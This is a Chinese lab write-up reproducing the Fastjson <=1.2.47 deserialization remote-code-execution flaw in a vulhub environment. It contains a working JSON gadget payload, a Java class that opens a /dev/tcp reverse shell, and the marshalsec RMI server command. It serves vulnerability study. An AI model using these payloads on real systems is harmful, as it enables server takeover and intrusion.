菜鸡一枚(勿喷)复现Fastjson「=1.2.47反序列化漏洞
0x00 前言
fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。对版本小于1.2.48的版本通杀,autoType为关闭状态也可使用。 loadClass中默认cache设置为true,利用分为2步执行,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl这个类,绕过了黑名单机制。
0x02 影响范围
Fastjson1.2.47以及之前的版本
0x03 环境搭建
Ubuntu搭建vulhub,一键启动就OK,地址https://vulhub.org/
成功搭建环境:
太菜也没啥油水,直接进入正题哇。
0x04 漏洞利用
靶机A:192.168.1.105
主机B:192.168.1.100:8888(启web服务)
主机C:192.168.1.100:9999(启rmi服务)
主机B、C可为同一主机(太菜,复现的时候老纠结)
总体流程:
靶机A收到攻击者发起的fastjson反序列化payload请求,触发反序列化漏洞,靶机A寻找rmi://主机C:9999/Exploit进行远程方法调用,rmi找到http://主机B:8888/Exploit.class 文件传递给靶机A,最终执行恶意java类Exploit.class 文件中的内容
fastjson反序列化payload:
[code]{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.1.100:9999/Exploit", "autoCommit":true } }
恶意java类exploit文件内容:
[code]import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { } }
使用javac编译Exploit.java
[code]javac Exploit.java
主机B启web服务,存放恶意java类
构造url:如http://192.168.1.100/Exploit.class可直接下载:
主机C:借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类Exploit.class
marshalsec-0.0.3-SNAPSHOT-all.jar
链接:https://pan.baidu.com/s/1q3_8g1Ix3hgPRbhRljr3Og
提取码:g3wa
[code]java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.100:8888/#Exploit" 9999
此时rmi服务已就绪,等待接收靶机的请求
主机B:开启NC监听1888端口:
向靶机发送fastjson反序列化漏洞payload:
靶机A收到攻击者发起的fastjson反序列化payload请求,触发反序列化漏洞,靶机A寻找rmi://主机C:9999/Exploit(开启rmi的)进行远程方法调用,rmi找到http://主机B:8888/Exploit.class (web服务的)文件传递给靶机A,最终执行恶意java类Exploit.class 文件中的内容
反弹shell成功:
参考链接
- Fastjson<=1.2.47反序列化漏洞复现
- 五分钟复现fastjson1.2.24反序列化漏洞
- fastjson1.2.47以下 RCE 漏洞复现
- Fastjson反序列化漏洞概述
- Fastjson反序列化漏洞分析
- Fastjson <=1.2.62 远程代码执行-漏洞复现
- fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录
- Fastjson反序列化漏洞研究
- Fastjson反序列化漏洞研究
- fastjson漏洞升级修复小记
- Newtonsoft 和 FastJson 的序列化和反序列化性能的对比
- fastJson序列化和反序列化 中空字符串的处理
- Joomla反序列化通杀漏洞(版本低于3.4.5)复现的那些坑
- fastjson 序列化 忽略 某个字段
- 不只是fastjson,这个你每天都在用的类库也被爆过反序列化漏洞!
- fastjson序列化hibernate代理和延迟加载对象出现no session异常的解决办法
- 使用TProfiler分析并调优项目中的Fastjson序列化代码
- Spring RedisTemplate 序列化、反序列化扩展支持 FastJson:GenericFastJson2JsonRedisSerializer
- FastJson序列化问题
- fastjson序列化hibernate代理和延迟加载对象出现no session异常的解决办法